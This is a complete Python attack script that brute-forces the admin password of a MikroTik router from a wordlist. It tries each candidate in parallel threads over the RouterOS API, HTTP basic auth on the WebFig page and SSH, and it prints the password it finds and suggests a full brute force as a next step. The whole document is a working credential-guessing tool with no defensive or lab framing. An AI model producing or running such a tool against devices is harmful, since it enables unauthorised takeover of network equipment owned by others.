#!/usr/bin/env python3 """ Optimized MikroTik Password Attack using Wordlist Tests passwords from generated wordlist using most efficient methods """ import time import threading from concurrent.futures import ThreadPoolExecutor, as_completed import socket import requests from requests.auth import HTTPBasicAuth class MikroTikWordlistAttack: def __init__(self, host, wordlist_file="mikrotik_wordlist.txt"): self.host = host self.wordlist_file = wordlist_file self.username = "admin" self.found_password = None self.attempts = 0 self.start_time = None self.lock = threading.Lock() self.stop_flag = threading.Event() def load_wordlist(self): """Load passwords from wordlist file""" try: with open(self.wordlist_file, 'r') as f: passwords = [line.strip() for line in f if line.strip()] return passwords except FileNotFoundError: print(f"Error: Wordlist file '{self.wordlist_file}' not found") print("Run 'python3 generate_mikrotik_wordlist.py' first") return [] def test_api_connection(self, password, port=8728, timeout=3): """Test MikroTik API connection (most reliable method)""" try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(timeout) sock.connect((self.host, port)) # Send login command in MikroTik API format def encode_length(length): if length <= 0x7F: return bytes([length]) elif length <= 0x3FFF: return bytes([((length >> 8) & 0xFF) | 0x80, length & 0xFF]) return bytes([0xFF]) # Simplified for short strings def write_word(sock, word): word_bytes = word.encode('utf-8') sock.send(encode_length(len(word_bytes))) sock.send(word_bytes) def write_sentence(sock, words): for word in words: write_word(sock, word) write_word(sock, "") def read_word(sock): length_byte = sock.recv(1) if not length_byte: return "" length = length_byte[0] if length == 0: return "" if length & 0x80: # Multi-byte length, simplified handling length = length & 0x7F if length > 50: # Sanity check return "" try: return sock.recv(length).decode('utf-8', 'ignore') except: return "" def read_sentence(sock): sentence = [] try: while True: word = read_word(sock) if word == "": break sentence.append(word) except: pass return sentence # Send login write_sentence(sock, ["/login", f"=name={self.username}", f"=password={password}"]) # Read response sock.settimeout(2) # Shorter timeout for response response = read_sentence(sock) sock.close() return response and len(response) > 0 and response[0] == "!done" except Exception: return False def test_http_connection(self, password, timeout=3): """Test HTTP connection""" try: # Test if we can access a protected resource response = requests.get( f"http://{self.host}/webfig/", auth=HTTPBasicAuth(self.username, password), timeout=timeout, allow_redirects=False ) # Success if we don't get 401/403 return response.status_code not in [401, 403] except: return False def test_ssh_connection(self, password, timeout=3): """Test SSH connection""" try: import paramiko client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) client.connect( self.host, port=22, username=self.username, password=password, timeout=timeout, allow_agent=False, look_for_keys=False, ) client.close() return True except paramiko.AuthenticationException: return False except Exception: return False def test_password(self, password): """Test a password using multiple methods""" if self.stop_flag.is_set(): return False with self.lock: self.attempts += 1 current_attempts = self.attempts # Progress reporting if current_attempts % 10 == 0: elapsed = time.time() - self.start_time rate = current_attempts / elapsed if elapsed > 0 else 0 print(f"[*] Attempt {current_attempts} ({rate:.1f} pwd/sec) - Testing: {password}") # Test methods in order of reliability and speed methods = [ ("API", lambda: self.test_api_connection(password)), ("HTTP", lambda: self.test_http_connection(password)), ("SSH", lambda: self.test_ssh_connection(password)), ] for method_name, test_func in methods: try: if test_func(): print(f"\n*** SUCCESS! ***") print(f"Password found: {password}") print(f"Method: {method_name}") print(f"Host: {self.host}") print(f"Username: {self.username}") print(f"Total attempts: {current_attempts}") elapsed = time.time() - self.start_time print(f"Time taken: {elapsed:.2f} seconds") self.found_password = password self.stop_flag.set() return True except Exception as e: # If one method fails, try the next continue return False def run_attack(self, max_workers=4): """Run the wordlist attack""" passwords = self.load_wordlist() if not passwords: return None print(f"Starting wordlist attack against {self.host}") print(f"Username: {self.username}") print(f"Passwords to test: {len(passwords)}") print(f"Concurrent threads: {max_workers}") print("=" * 60) self.start_time = time.time() # Use ThreadPoolExecutor for controlled concurrency with ThreadPoolExecutor(max_workers=max_workers) as executor: # Submit all password tests future_to_password = { executor.submit(self.test_password, pwd): pwd for pwd in passwords } # Process results as they complete for future in as_completed(future_to_password): if self.stop_flag.is_set(): # Cancel remaining tasks for f in future_to_password: f.cancel() break password = future_to_password[future] try: result = future.result() if result: return self.found_password except Exception as e: print(f"Error testing {password}: {e}") if not self.found_password: elapsed = time.time() - self.start_time print(f"\nWordlist attack completed.") print(f"Total attempts: {self.attempts}") print(f"Time taken: {elapsed:.2f} seconds") print(f"No password found in wordlist.") print("\nNext steps:") print("1. Try generating larger wordlist with more patterns") print("2. Consider full brute force attack") print("3. Hardware reset if device is accessible") return self.found_password def main(): import sys if len(sys.argv) < 2: print("Usage: python3 mikrotik_wordlist_attack.py [threads]") print("Example: python3 mikrotik_wordlist_attack.py 10.250.2.2 8") sys.exit(1) host = sys.argv[1] threads = int(sys.argv[2]) if len(sys.argv) > 2 else 4 attacker = MikroTikWordlistAttack(host) password = attacker.run_attack(max_workers=threads) if password: print(f"\n✓ Attack successful! Password: {password}") sys.exit(0) else: print(f"\n✗ Attack failed. No password found.") sys.exit(1) if __name__ == "__main__": main()